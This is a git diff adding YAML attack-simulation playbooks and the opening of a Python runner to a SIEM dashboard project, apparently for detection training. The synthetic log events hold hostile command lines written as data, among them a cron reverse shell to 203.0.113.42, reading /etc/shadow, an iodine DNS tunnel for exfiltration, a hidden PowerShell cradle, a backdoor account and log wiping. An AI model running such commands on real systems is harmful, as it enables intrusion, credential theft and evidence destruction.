+ source_ip: 203.0.113.42 + dest_ip: 10.1.1.50 + hostname: bastion-01 + username: nagios + message: Failed SSH login attempt + auth_method: password + result: failure + failure_reason: invalid_password + service: sshd + mitre_tactic: TA0001 + mitre_technique: T1110.001 + + - delay_seconds: 0.15 + source_type: auth + event_type: login_failure + source_ip: 203.0.113.42 + dest_ip: 10.1.1.50 + hostname: bastion-01 + username: ansible + message: Failed SSH login attempt + auth_method: password + result: failure + failure_reason: invalid_password + service: sshd + mitre_tactic: TA0001 + mitre_technique: T1110.001 + + - delay_seconds: 0.15 + source_type: auth + event_type: login_failure + source_ip: 203.0.113.42 + dest_ip: 10.1.1.50 + hostname: bastion-01 + username: git + message: Failed SSH login attempt + auth_method: password + result: failure + failure_reason: invalid_password + service: sshd + mitre_tactic: TA0001 + mitre_technique: T1110.001 + + - delay_seconds: 0.15 + source_type: auth + event_type: login_failure + source_ip: 203.0.113.42 + dest_ip: 10.1.1.50 + hostname: bastion-01 + username: docker + message: Failed SSH login attempt + auth_method: password + result: failure + failure_reason: invalid_password + service: sshd + mitre_tactic: TA0001 + mitre_technique: T1110.001 + + - delay_seconds: 0.15 + source_type: auth + event_type: login_failure + source_ip: 203.0.113.42 + dest_ip: 10.1.1.50 + hostname: bastion-01 + username: mysql + message: Failed SSH login attempt + auth_method: password + result: failure + failure_reason: invalid_password + service: sshd + mitre_tactic: TA0001 + mitre_technique: T1110.001 + + - delay_seconds: 0.15 + source_type: auth + event_type: login_failure + source_ip: 203.0.113.42 + dest_ip: 10.1.1.50 + hostname: bastion-01 + username: redis + message: Failed SSH login attempt + auth_method: password + result: failure + failure_reason: invalid_password + service: sshd + mitre_tactic: TA0001 + mitre_technique: T1110.001 + + - delay_seconds: 0.8 + source_type: ids + event_type: ids_alert + source_ip: 203.0.113.42 + dest_ip: 10.1.1.50 + hostname: ids-sensor-01 + message: SSH brute force attack detected + signature_id: 2001219 + signature_name: ET SCAN Potential SSH Brute Force + classification: attempted-admin + priority: 1 + mitre_tactic: TA0001 + mitre_technique: T1110.001 + + - delay_seconds: 1.5 + source_type: auth + event_type: login_success + source_ip: 203.0.113.42 + dest_ip: 10.1.1.50 + hostname: bastion-01 + username: deploy + message: Successful SSH login after brute force + auth_method: password + result: success + service: sshd + mitre_tactic: TA0001 + mitre_technique: T1110.001 + + - delay_seconds: 3.0 + source_type: endpoint + event_type: process_execution + source_ip: 10.1.1.50 + hostname: bastion-01 + username: deploy + message: Credential harvesting via /etc/shadow read + process_name: cat + process_id: 28451 + parent_process: bash + command_line: cat /etc/shadow + file_path: /etc/shadow + mitre_tactic: TA0006 + mitre_technique: T1003.008 + + - delay_seconds: 2.0 + source_type: endpoint + event_type: process_execution + source_ip: 10.1.1.50 + hostname: bastion-01 + username: deploy + message: SSH key discovery + process_name: find + process_id: 28467 + parent_process: bash + command_line: find / -name id_rsa -type f 2>/dev/null + mitre_tactic: TA0007 + mitre_technique: T1552.004 + + - delay_seconds: 2.5 + source_type: firewall + event_type: connection_allowed + source_ip: 10.1.1.50 + dest_ip: 10.1.2.10 + source_port: 55102 + dest_port: 22 + hostname: fw-internal-01 + message: Internal SSH connection from bastion to app server + action: allow + protocol: tcp + rule_name: internal-ssh + mitre_tactic: TA0008 + mitre_technique: T1021.004 + + - delay_seconds: 1.0 + source_type: auth + event_type: login_success + source_ip: 10.1.1.50 + dest_ip: 10.1.2.10 + hostname: app-server-01 + username: deploy + message: Lateral movement SSH login to application server + auth_method: publickey + result: success + service: sshd + mitre_tactic: TA0008 + mitre_technique: T1021.004 + + - delay_seconds: 2.0 + source_type: firewall + event_type: connection_allowed + source_ip: 10.1.1.50 + dest_ip: 10.1.2.20 + source_port: 55118 + dest_port: 22 + hostname: fw-internal-01 + message: Internal SSH connection from bastion to database server + action: allow + protocol: tcp + rule_name: internal-ssh + mitre_tactic: TA0008 + mitre_technique: T1021.004 + + - delay_seconds: 1.0 + source_type: auth + event_type: login_success + source_ip: 10.1.1.50 + dest_ip: 10.1.2.20 + hostname: db-server-01 + username: deploy + message: Lateral movement SSH login to database server + auth_method: publickey + result: success + service: sshd + mitre_tactic: TA0008 + mitre_technique: T1021.004 + + - delay_seconds: 3.0 + source_type: endpoint + event_type: process_execution + source_ip: 10.1.2.20 + hostname: db-server-01 + username: deploy + message: Database dump on compromised server + process_name: pg_dump + process_id: 31204 + parent_process: bash + command_line: pg_dump -U postgres --all-databases -f /tmp/dump.sql + mitre_tactic: TA0009 + mitre_technique: T1005 diff --git a/PROJECTS/intermediate/siem-dashboard/backend/app/scenarios/playbooks/data_exfiltration.yml b/PROJECTS/intermediate/siem-dashboard/backend/app/scenarios/playbooks/data_exfiltration.yml new file mode 100644 index 00000000..2f38018f --- /dev/null +++ b/PROJECTS/intermediate/siem-dashboard/backend/app/scenarios/playbooks/data_exfiltration.yml @@ -0,0 +1,328 @@ +# ©AngelaMos | 2026 +# data_exfiltration.yml + +name: Data Exfiltration via DNS Tunneling +description: > + Simulates a compromised internal host that performs network + reconnaissance via port scanning, accesses sensitive file shares, + and exfiltrates data using DNS tunneling with high-entropy TXT + queries to an attacker-controlled domain. Based on APT34/OilRig + DNSpionage campaign techniques. + +mitre_tactics: + - TA0007 + - TA0009 + - TA0010 +mitre_techniques: + - T1046 + - T1005 + - T1048.003 + - T1071.004 + +events: + - delay_seconds: 1.0 + source_type: endpoint + event_type: process_execution + source_ip: 10.0.1.50 + hostname: ws-compromised + username: jdoe + message: Network scanning tool executed for internal reconnaissance + process_name: nmap + process_id: 8201 + parent_process: bash + command_line: nmap -sS -p 22,80,443,445,3389,5432 10.0.2.0/24 + mitre_tactic: TA0007 + mitre_technique: T1046 + + - delay_seconds: 3.0 + source_type: firewall + event_type: port_scan + source_ip: 10.0.1.50 + dest_ip: 10.0.2.10 + source_port: 41001 + dest_port: 445 + hostname: fw-internal-01 + message: SYN scan detected targeting SMB port + action: allow + protocol: tcp + rule_name: internal-all + mitre_tactic: TA0007 + mitre_technique: T1046 + + - delay_seconds: 0.5 + source_type: firewall + event_type: port_scan + source_ip: 10.0.1.50 + dest_ip: 10.0.2.20 + source_port: 41002 + dest_port: 5432 + hostname: fw-internal-01 + message: SYN scan detected targeting PostgreSQL port + action: allow + protocol: tcp + rule_name: internal-all + mitre_tactic: TA0007 + mitre_technique: T1046 + + - delay_seconds: 0.5 + source_type: firewall + event_type: port_scan + source_ip: 10.0.1.50 + dest_ip: 10.0.2.30 + source_port: 41003 + dest_port: 3389 + hostname: fw-internal-01 + message: SYN scan detected targeting RDP port + action: allow + protocol: tcp + rule_name: internal-all + mitre_tactic: TA0007 + mitre_technique: T1046 + + - delay_seconds: 0.5 + source_type: firewall + event_type: port_scan + source_ip: 10.0.1.50 + dest_ip: 10.0.2.40 + source_port: 41004 + dest_port: 22 + hostname: fw-internal-01 + message: SYN scan detected targeting SSH port + action: allow + protocol: tcp + rule_name: internal-all + mitre_tactic: TA0007 + mitre_technique: T1046 + + - delay_seconds: 2.0 + source_type: ids + event_type: ids_alert + source_ip: 10.0.1.50 + dest_ip: 10.0.2.0 + hostname: ids-sensor-02 + message: Port scan activity detected from workstation + signature_id: 2001219 + signature_name: ET SCAN Potential Port Scan + classification: attempted-recon + priority: 2 + mitre_tactic: TA0007 + mitre_technique: T1046 + + - delay_seconds: 5.0 + source_type: firewall + event_type: connection_allowed + source_ip: 10.0.1.50 + dest_ip: 10.0.2.10 + source_port: 42301 + dest_port: 445 + hostname: fw-internal-01 + message: SMB connection to file server after reconnaissance + action: allow + protocol: tcp + rule_name: internal-smb + mitre_tactic: TA0008 + mitre_technique: T1021.002 + + - delay_seconds: 2.0 + source_type: endpoint + event_type: file_access + source_ip: 10.0.1.50 + hostname: file-server-01 + username: jdoe + message: Bulk access to confidential financial documents + process_name: smbclient + process_id: 8310 + parent_process: bash + command_line: smbclient //10.0.2.10/Finance -U jdoe -c "recurse ON; prompt OFF; mget *" + file_path: //10.0.2.10/Finance/ + mitre_tactic: TA0009 + mitre_technique: T1005 + + - delay_seconds: 3.0 + source_type: endpoint + event_type: file_access + source_ip: 10.0.1.50 + hostname: file-server-01 + username: jdoe + message: Customer database export accessed + process_name: smbclient + process_id: 8315 + parent_process: bash + command_line: smbclient //10.0.2.10/Databases -U jdoe -c "get customer_export_2026.sql" + file_path: //10.0.2.10/Databases/customer_export_2026.sql + mitre_tactic: TA0009 + mitre_technique: T1005 + + - delay_seconds: 3.0 + source_type: endpoint + event_type: process_execution + source_ip: 10.0.1.50 + hostname: ws-compromised + username: jdoe + message: Collected data compressed for exfiltration staging + process_name: tar + process_id: 8330 + parent_process: bash + command_line: tar czf /tmp/.data.tar.gz /tmp/exfil/ + file_path: /tmp/.data.tar.gz + mitre_tactic: TA0009 + mitre_technique: T1560.001 + + - delay_seconds: 2.0 + source_type: endpoint + event_type: process_execution + source_ip: 10.0.1.50 + hostname: ws-compromised + username: jdoe + message: DNS tunneling tool iodine started for exfiltration + process_name: iodine + process_id: 8345 + parent_process: bash + command_line: iodine -f -P s3cretK3y data.exfil-tunnel.tk 10.0.0.53 + mitre_tactic: TA0010 + mitre_technique: T1048.003 + + - delay_seconds: 1.0 + source_type: dns + event_type: dns_query + source_ip: 10.0.1.50 + dest_ip: 10.0.0.53 + hostname: ws-compromised + message: DNS tunneling query with high-entropy subdomain encoding + query: 4d5a90000300000004000000ffff0000b800.data.exfil-tunnel.tk + query_type: TXT + response_code: NOERROR + mitre_tactic: TA0010 + mitre_technique: T1048.003 + + - delay_seconds: 0.1 + source_type: dns + event_type: dns_query + source_ip: 10.0.1.50 + dest_ip: 10.0.0.53 + hostname: ws-compromised + message: DNS tunneling data chunk transmission + query: b8000000000000004000000000000000.data.exfil-tunnel.tk + query_type: TXT + response_code: NOERROR + mitre_tactic: TA0010 + mitre_technique: T1048.003 + + - delay_seconds: 0.1 + source_type: dns + event_type: dns_query + source_ip: 10.0.1.50 + dest_ip: 10.0.0.53 + hostname: ws-compromised + message: DNS tunneling data chunk transmission + query: 0e1fba0e00b409cd21b8014ccd215468.data.exfil-tunnel.tk + query_type: TXT + response_code: NOERROR + mitre_tactic: TA0010 + mitre_technique: T1048.003 + + - delay_seconds: 0.1 + source_type: dns + event_type: dns_query + source_ip: 10.0.1.50 + dest_ip: 10.0.0.53 + hostname: ws-compromised + message: DNS tunneling data chunk transmission + query: 69732070726f6772616d2063616e6e6f.data.exfil-tunnel.tk + query_type: TXT + response_code: NOERROR + mitre_tactic: TA0010 + mitre_technique: T1048.003 + + - delay_seconds: 0.1 + source_type: dns + event_type: dns_query + source_ip: 10.0.1.50 + dest_ip: 10.0.0.53 + hostname: ws-compromised + message: DNS tunneling data chunk transmission + query: 7420626520727566efbfbd206e20444f.data.exfil-tunnel.tk + query_type: TXT + response_code: NOERROR + mitre_tactic: TA0010 + mitre_technique: T1048.003 + + - delay_seconds: 0.1 + source_type: dns + event_type: dns_query + source_ip: 10.0.1.50 + dest_ip: 10.0.0.53 + hostname: ws-compromised + message: DNS tunneling data chunk transmission + query: 53206d6f64652e0d0d0a24000000efbf.data.exfil-tunnel.tk + query_type: TXT + response_code: NOERROR + mitre_tactic: TA0010 + mitre_technique: T1048.003 + + - delay_seconds: 0.1 + source_type: dns + event_type: dns_query + source_ip: 10.0.1.50 + dest_ip: 10.0.0.53 + hostname: ws-compromised + message: DNS tunneling data chunk transmission + query: bd00000000efbfbdefbfbdefbfbd0000.data.exfil-tunnel.tk + query_type: TXT + response_code: NOERROR + mitre_tactic: TA0010 + mitre_technique: T1048.003 + + - delay_seconds: 0.1 + source_type: dns + event_type: dns_query + source_ip: 10.0.1.50 + dest_ip: 10.0.0.53 + hostname: ws-compromised + message: DNS tunneling data chunk transmission + query: efbfbd000000efbfbd000000efbfbd00.data.exfil-tunnel.tk + query_type: TXT + response_code: NOERROR + mitre_tactic: TA0010 + mitre_technique: T1048.003 + + - delay_seconds: 2.0 + source_type: ids + event_type: ids_alert + source_ip: 10.0.1.50 + dest_ip: 10.0.0.53 + hostname: ids-sensor-01 + message: DNS tunneling activity detected from excessive TXT queries + signature_id: 2027863 + signature_name: ET DNS Potential DNS Tunneling TXT Query High Frequency + classification: policy-violation + priority: 1 + mitre_tactic: TA0010 + mitre_technique: T1048.003 + + - delay_seconds: 3.0 + source_type: dns + event_type: dns_query + source_ip: 10.0.1.50 + dest_ip: 10.0.0.53 + hostname: ws-compromised + message: DNS tunneling final data chunk and session teardown + query: efbfbd000000efbfbdff00006efbfbd0.data.exfil-tunnel.tk + query_type: TXT + response_code: NOERROR + mitre_tactic: TA0010 + mitre_technique: T1048.003 + + - delay_seconds: 2.0 + source_type: endpoint + event_type: process_execution + source_ip: 10.0.1.50 + hostname: ws-compromised + username: jdoe + message: Staged data and tunneling artifacts cleaned up + process_name: rm + process_id: 8401 + parent_process: bash + command_line: rm -rf /tmp/exfil/ /tmp/.data.tar.gz + mitre_tactic: TA0005 + mitre_technique: T1070.004 diff --git a/PROJECTS/intermediate/siem-dashboard/backend/app/scenarios/playbooks/phishing_c2.yml b/PROJECTS/intermediate/siem-dashboard/backend/app/scenarios/playbooks/phishing_c2.yml new file mode 100644 index 00000000..e188a6b0 --- /dev/null +++ b/PROJECTS/intermediate/siem-dashboard/backend/app/scenarios/playbooks/phishing_c2.yml @@ -0,0 +1,315 @@ +# ©AngelaMos | 2026 +# phishing_c2.yml + +name: Phishing to C2 Beaconing +description: > + Simulates a spear-phishing attack where a user opens a malicious + macro-enabled attachment, triggering PowerShell download cradle + execution, establishing persistent HTTP-based C2 beaconing, and + performing discovery and data staging. Based on Emotet/TrickBot + delivery patterns observed in TA542 campaigns. + +mitre_tactics: + - TA0001 + - TA0002 + - TA0011 + - TA0007 + - TA0009 +mitre_techniques: + - T1566.001 + - T1204.002 + - T1059.001 + - T1071.001 + - T1573.002 + +events: + - delay_seconds: 1.0 + source_type: proxy + event_type: http_request + source_ip: 10.0.1.50 + dest_ip: 198.51.100.77 + source_port: 52301 + dest_port: 443 + hostname: proxy-01 + username: jdoe + message: User clicked phishing link from spoofed email + url: https://secure-docshare.example.com/invoice/view?id=8a3f + method: GET + status_code: 302 + user_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 + content_type: text/html + bytes_transferred: 1247 + mitre_tactic: TA0001 + mitre_technique: T1566.002 + + - delay_seconds: 0.5 + source_type: proxy + event_type: http_request + source_ip: 10.0.1.50 + dest_ip: 198.51.100.77 + source_port: 52302 + dest_port: 443 + hostname: proxy-01 + username: jdoe + message: Redirect to malicious macro-enabled document download + url: https://secure-docshare.example.com/dl/Invoice_Feb2026.xlsm + method: GET + status_code: 200 + user_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 + content_type: application/vnd.ms-excel.sheet.macroEnabled.12 + bytes_transferred: 48210 + mitre_tactic: TA0001 + mitre_technique: T1566.001 + + - delay_seconds: 5.0 + source_type: endpoint + event_type: process_execution + source_ip: 10.0.1.50 + hostname: ws-jdoe + username: jdoe + message: User opened macro-enabled spreadsheet + process_name: EXCEL.EXE + process_id: 3284 + parent_process: explorer.exe + command_line: EXCEL.EXE /e "C:\Users\jdoe\Downloads\Invoice_Feb2026.xlsm" + file_path: C:\Users\jdoe\Downloads\Invoice_Feb2026.xlsm + mitre_tactic: TA0002 + mitre_technique: T1204.002 + + - delay_seconds: 3.0 + source_type: endpoint + event_type: process_execution + source_ip: 10.0.1.50 + hostname: ws-jdoe + username: jdoe + message: Macro spawned cmd.exe child process from Excel + process_name: cmd.exe + process_id: 4102 + parent_process: EXCEL.EXE + command_line: cmd.exe /c powershell.exe -NoP -NonI -W Hidden -Exec Bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQA + mitre_tactic: TA0002 + mitre_technique: T1059.003 + + - delay_seconds: 1.0 + source_type: endpoint + event_type: process_execution + source_ip: 10.0.1.50 + hostname: ws-jdoe + username: jdoe + message: Encoded PowerShell download cradle executed + process_name: powershell.exe + process_id: 4156 + parent_process: cmd.exe + command_line: powershell.exe -NoP -NonI -W Hidden -Exec Bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQA + mitre_tactic: TA0002 + mitre_technique: T1059.001 + + - delay_seconds: 2.0 + source_type: proxy + event_type: http_request + source_ip: 10.0.1.50 + dest_ip: 203.0.113.88 + source_port: 52410 + dest_port: 443 + hostname: proxy-01 + username: jdoe + message: PowerShell downloading second-stage payload + url: https://cdn-update-service.example.net/assets/update.exe + method: GET + status_code: 200 + user_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 + content_type: application/octet-stream + bytes_transferred: 245760 + mitre_tactic: TA0002 + mitre_technique: T1105 + + - delay_seconds: 2.0 + source_type: endpoint + event_type: process_execution + source_ip: 10.0.1.50 + hostname: ws-jdoe + username: jdoe + message: Second-stage payload executed from temp directory + process_name: update.exe + process_id: 4201 + parent_process: powershell.exe + command_line: C:\Users\jdoe\AppData\Local\Temp\update.exe + file_path: C:\Users\jdoe\AppData\Local\Temp\update.exe + mitre_tactic: TA0002 + mitre_technique: T1204.002 + + - delay_seconds: 3.0 + source_type: dns + event_type: dns_query + source_ip: 10.0.1.50 + dest_ip: 10.0.0.53 + hostname: ws-jdoe + message: C2 domain resolution via DGA-like subdomain + query: r4d58hj3c.cdn-services.example.net + query_type: A + response: 203.0.113.99 + response_code: NOERROR + mitre_tactic: TA0011 + mitre_technique: T1071.004 + + - delay_seconds: 1.0 + source_type: firewall + event_type: connection_allowed + source_ip: 10.0.1.50 + dest_ip: 203.0.113.99 + source_port: 53401 + dest_port: 443 + hostname: fw-edge-01 + message: Outbound HTTPS to C2 infrastructure + action: allow + protocol: tcp + rule_name: outbound-https + mitre_tactic: TA0011 + mitre_technique: T1071.001 + + - delay_seconds: 5.0 + source_type: proxy + event_type: c2_communication + source_ip: 10.0.1.50 + dest_ip: 203.0.113.99 + source_port: 53401 + dest_port: 443 + hostname: proxy-01 + message: C2 beacon initial check-in with host fingerprint + url: https://cdn-services.example.net/api/v1/register + method: POST + status_code: 200 + user_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 + content_type: application/json + bytes_transferred: 512 + mitre_tactic: TA0011 + mitre_technique: T1071.001 + + - delay_seconds: 10.0 + source_type: proxy + event_type: c2_communication + source_ip: 10.0.1.50 + dest_ip: 203.0.113.99 + source_port: 53402 + dest_port: 443 + hostname: proxy-01 + message: C2 beacon heartbeat at regular interval + url: https://cdn-services.example.net/api/v1/status + method: POST + status_code: 200 + user_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 + content_type: application/json + bytes_transferred: 256 + mitre_tactic: TA0011 + mitre_technique: T1071.001 + + - delay_seconds: 10.0 + source_type: proxy + event_type: c2_communication + source_ip: 10.0.1.50 + dest_ip: 203.0.113.99 + source_port: 53403 + dest_port: 443 + hostname: proxy-01 + message: C2 beacon with tasking response received + url: https://cdn-services.example.net/api/v1/tasks + method: GET + status_code: 200 + user_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 + content_type: application/json + bytes_transferred: 1893 + mitre_tactic: TA0011 + mitre_technique: T1071.001 + + - delay_seconds: 3.0 + source_type: endpoint + event_type: process_execution + source_ip: 10.0.1.50 + hostname: ws-jdoe + username: jdoe + message: Discovery commands executed via C2 tasking + process_name: cmd.exe + process_id: 5102 + parent_process: update.exe + command_line: cmd.exe /c whoami /all & net user & net group "Domain Admins" /domain + mitre_tactic: TA0007 + mitre_technique: T1087.002 + + - delay_seconds: 2.0 + source_type: endpoint + event_type: process_execution + source_ip: 10.0.1.50 + hostname: ws-jdoe + username: jdoe + message: Network share enumeration for data staging + process_name: net.exe + process_id: 5118 + parent_process: update.exe + command_line: net.exe view \\FILE-SERVER-01 /all + mitre_tactic: TA0007 + mitre_technique: T1135 + + - delay_seconds: 3.0 + source_type: endpoint + event_type: process_execution + source_ip: 10.0.1.50 + hostname: ws-jdoe + username: jdoe + message: Scheduled task created for persistence + process_name: schtasks.exe + process_id: 5134 + parent_process: update.exe + command_line: schtasks.exe /create /sc minute /mo 10 /tn "WindowsUpdate" /tr "C:\Users\jdoe\AppData\Local\Temp\update.exe" /f + mitre_tactic: TA0003 + mitre_technique: T1053.005 + + - delay_seconds: 4.0 + source_type: endpoint + event_type: file_access + source_ip: 10.0.1.50 + hostname: ws-jdoe + username: jdoe + message: Sensitive documents staged in temp directory for exfiltration + process_name: powershell.exe + process_id: 5201 + parent_process: update.exe + command_line: Compress-Archive -Path C:\Users\jdoe\Documents\*.xlsx,C:\Users\jdoe\Documents\*.docx -DestinationPath C:\Users\jdoe\AppData\Local\Temp\archive.zip + file_path: C:\Users\jdoe\AppData\Local\Temp\archive.zip + mitre_tactic: TA0009 + mitre_technique: T1074.001 + + - delay_seconds: 5.0 + source_type: proxy + event_type: c2_communication + source_ip: 10.0.1.50 + dest_ip: 203.0.113.99 + source_port: 53410 + dest_port: 443 + hostname: proxy-01 + message: Data exfiltration via C2 channel with large upload + url: https://cdn-services.example.net/api/v1/upload + method: POST + status_code: 200 + user_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 + content_type: application/octet-stream + bytes_transferred: 3458731 + mitre_tactic: TA0010 + mitre_technique: T1041 + + - delay_seconds: 10.0 + source_type: proxy + event_type: c2_communication + source_ip: 10.0.1.50 + dest_ip: 203.0.113.99 + source_port: 53411 + dest_port: 443 + hostname: proxy-01 + message: C2 beacon continues after exfiltration + url: https://cdn-services.example.net/api/v1/status + method: POST + status_code: 200 + user_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 + content_type: application/json + bytes_transferred: 256 + mitre_tactic: TA0011 + mitre_technique: T1071.001 diff --git a/PROJECTS/intermediate/siem-dashboard/backend/app/scenarios/playbooks/privilege_escalation.yml b/PROJECTS/intermediate/siem-dashboard/backend/app/scenarios/playbooks/privilege_escalation.yml new file mode 100644 index 00000000..8e1fd0d5 --- /dev/null +++ b/PROJECTS/intermediate/siem-dashboard/backend/app/scenarios/playbooks/privilege_escalation.yml @@ -0,0 +1,307 @@ +# ©AngelaMos | 2026 +# privilege_escalation.yml + +name: Privilege Escalation and Persistence +description: > + Simulates a compromised service account that performs system + enumeration, exploits a kernel vulnerability for root access, + creates a backdoor admin account, installs a cron-based reverse + shell for persistence, and covers tracks by clearing logs. Based + on PrintNightmare-style exploitation patterns. + +mitre_tactics: + - TA0004 + - TA0003 + - TA0005 + - TA0007 +mitre_techniques: + - T1068 + - T1136.001 + - T1053.005 + - T1070.002 + +events: + - delay_seconds: 1.0 + source_type: auth + event_type: login_success + source_ip: 10.1.3.25 + dest_ip: 10.1.2.10 + hostname: app-server-01 + username: svc-webapp + message: Normal service account login via SSH + auth_method: publickey + result: success + service: sshd + mitre_tactic: TA0001 + mitre_technique: T1078.003 + + - delay_seconds: 3.0 + source_type: endpoint + event_type: process_execution + source_ip: 10.1.2.10 + hostname: app-server-01 + username: svc-webapp + message: System information enumeration + process_name: uname + process_id: 12301 + parent_process: bash + command_line: uname -a + mitre_tactic: TA0007 + mitre_technique: T1082 + + - delay_seconds: 1.5 + source_type: endpoint + event_type: process_execution + source_ip: 10.1.2.10 + hostname: app-server-01 + username: svc-webapp + message: Kernel version check for exploit matching + process_name: cat + process_id: 12310 + parent_process: bash + command_line: cat /proc/version + file_path: /proc/version + mitre_tactic: TA0007 + mitre_technique: T1082 + + - delay_seconds: 1.5 + source_type: endpoint + event_type: process_execution + source_ip: 10.1.2.10 + hostname: app-server-01 + username: svc-webapp + message: SUID binary discovery for privilege escalation vectors + process_name: find + process_id: 12315 + parent_process: bash + command_line: find / -perm -4000 -type f 2>/dev/null + mitre_tactic: TA0007 + mitre_technique: T1083 + + - delay_seconds: 2.0 + source_type: endpoint + event_type: process_execution + source_ip: 10.1.2.10 + hostname: app-server-01 + username: svc-webapp + message: Current user privilege enumeration + process_name: id + process_id: 12320 + parent_process: bash + command_line: id && sudo -l 2>/dev/null + mitre_tactic: TA0007 + mitre_technique: T1033 + + - delay_seconds: 2.0 + source_type: endpoint + event_type: process_execution + source_ip: 10.1.2.10 + hostname: app-server-01 + username: svc-webapp + message: Writable directory discovery for exploit staging + process_name: find + process_id: 12330 + parent_process: bash + command_line: find /tmp /var/tmp /dev/shm -writable -type d 2>/dev/null + mitre_tactic: TA0007 + mitre_technique: T1083 + + - delay_seconds: 3.0 + source_type: endpoint + event_type: process_execution + source_ip: 10.1.2.10 + hostname: app-server-01 + username: svc-webapp + message: Exploit source code compiled on target host + process_name: gcc + process_id: 12340 + parent_process: bash + command_line: gcc -o /tmp/.exploit /tmp/.exploit.c -lpthread + file_path: /tmp/.exploit + mitre_tactic: TA0004 + mitre_technique: T1068 + + - delay_seconds: 1.5 + source_type: endpoint + event_type: process_execution + source_ip: 10.1.2.10 + hostname: app-server-01 + username: svc-webapp + message: Kernel exploit binary executed + process_name: .exploit + process_id: 12355 + parent_process: bash + command_line: /tmp/.exploit + file_path: /tmp/.exploit + mitre_tactic: TA0004 + mitre_technique: T1068 + + - delay_seconds: 2.0 + source_type: endpoint + event_type: privilege_escalation + source_ip: 10.1.2.10 + hostname: app-server-01 + username: root + message: Privilege escalation to root via kernel exploit + process_name: bash + process_id: 12360 + parent_process: .exploit + command_line: /bin/bash -p + mitre_tactic: TA0004 + mitre_technique: T1068 + + - delay_seconds: 2.0 + source_type: ids + event_type: ids_alert + source_ip: 10.1.2.10 + hostname: ids-sensor-02 + message: Privilege escalation detected on application server + signature_id: 2100366 + signature_name: ET POLICY Potential Privilege Escalation + classification: attempted-admin + priority: 1 + mitre_tactic: TA0004 + mitre_technique: T1068 + + - delay_seconds: 3.0 + source_type: endpoint + event_type: process_execution + source_ip: 10.1.2.10 + hostname: app-server-01 + username: root + message: Backdoor admin account created with sudo privileges + process_name: useradd + process_id: 12378 + parent_process: bash + command_line: useradd -m -G sudo -s /bin/bash sysadm1n + mitre_tactic: TA0003 + mitre_technique: T1136.001 + + - delay_seconds: 1.0 + source_type: auth + event_type: account_created + source_ip: 10.1.2.10 + hostname: app-server-01 + username: root + message: New local account sysadm1n added to sudo group + auth_method: local + result: success + service: useradd + mitre_tactic: TA0003 + mitre_technique: T1136.001 + + - delay_seconds: 1.5 + source_type: endpoint + event_type: process_execution + source_ip: 10.1.2.10 + hostname: app-server-01 + username: root + message: Password set for backdoor admin account + process_name: chpasswd + process_id: 12385 + parent_process: bash + command_line: echo sysadm1n:P@ssw0rd123 | chpasswd + mitre_tactic: TA0003 + mitre_technique: T1136.001 + + - delay_seconds: 2.0 + source_type: endpoint + event_type: process_execution + source_ip: 10.1.2.10 + hostname: app-server-01 + username: root + message: SSH authorized key installed for passwordless backdoor access + process_name: bash + process_id: 12395 + parent_process: bash + command_line: mkdir -p /home/sysadm1n/.ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAA..." > /home/sysadm1n/.ssh/authorized_keys + file_path: /home/sysadm1n/.ssh/authorized_keys + mitre_tactic: TA0003 + mitre_technique: T1098.004 + + - delay_seconds: 3.0 + source_type: endpoint + event_type: process_execution + source_ip: 10.1.2.10 + hostname: app-server-01 + username: root + message: Reverse shell cron job installed for persistent access + process_name: crontab + process_id: 12401 + parent_process: bash + command_line: (crontab -l; echo "*/5 * * * * /bin/bash -c 'bash -i >& /dev/tcp/203.0.113.42/4444 0>&1'") | crontab - + mitre_tactic: TA0003 + mitre_technique: T1053.005 + + - delay_seconds: 2.0 + source_type: endpoint + event_type: process_execution + source_ip: 10.1.2.10 + hostname: app-server-01 + username: root + message: Exploit binary and source removed to cover tracks + process_name: rm + process_id: 12430 + parent_process: bash + command_line: rm -f /tmp/.exploit /tmp/.exploit.c + mitre_tactic: TA0005 + mitre_technique: T1070.004 + + - delay_seconds: 1.5 + source_type: endpoint + event_type: process_execution + source_ip: 10.1.2.10 + hostname: app-server-01 + username: root + message: Authentication log cleared to destroy evidence + process_name: truncate + process_id: 12445 + parent_process: bash + command_line: truncate -s 0 /var/log/auth.log + file_path: /var/log/auth.log + mitre_tactic: TA0005 + mitre_technique: T1070.002 + + - delay_seconds: 1.0 + source_type: endpoint + event_type: process_execution + source_ip: 10.1.2.10 + hostname: app-server-01 + username: root + message: Syslog cleared to remove traces + process_name: truncate + process_id: 12450 + parent_process: bash + command_line: truncate -s 0 /var/log/syslog + file_path: /var/log/syslog + mitre_tactic: TA0005 + mitre_technique: T1070.002 + + - delay_seconds: 5.0 + source_type: firewall + event_type: connection_allowed + source_ip: 10.1.2.10 + dest_ip: 203.0.113.42 + source_port: 48901 + dest_port: 4444 + hostname: fw-edge-01 + message: Outbound reverse shell connection from cron backdoor + action: allow + protocol: tcp + rule_name: outbound-general + mitre_tactic: TA0011 + mitre_technique: T1571 + + - delay_seconds: 1.0 + source_type: ids + event_type: ids_alert + source_ip: 10.1.2.10 + dest_ip: 203.0.113.42 + hostname: ids-sensor-01 + message: Reverse shell connection detected on non-standard port + signature_id: 2024897 + signature_name: ET ATTACK_RESPONSE Possible Reverse Shell + classification: trojan-activity + priority: 1 + mitre_tactic: TA0011 + mitre_technique: T1571 diff --git a/PROJECTS/intermediate/siem-dashboard/backend/app/scenarios/runner.py b/PROJECTS/intermediate/siem-dashboard/backend/app/scenarios/runner.py new file mode 100644 index 00000000..316f22b2 --- /dev/null +++ b/PROJECTS/intermediate/siem-dashboard/backend/app/scenarios/runner.py @@ -0,0 +1,252 @@ +""" +©AngelaMos | 2026 +runner.py +""" + +import random +import threading +import time +from dataclasses import dataclass, field +from pathlib import Path +from typing import Any + +import structlog + +from app.config import settings +from app.core.streaming import publish_event +from app.engine.normalizer import normalize 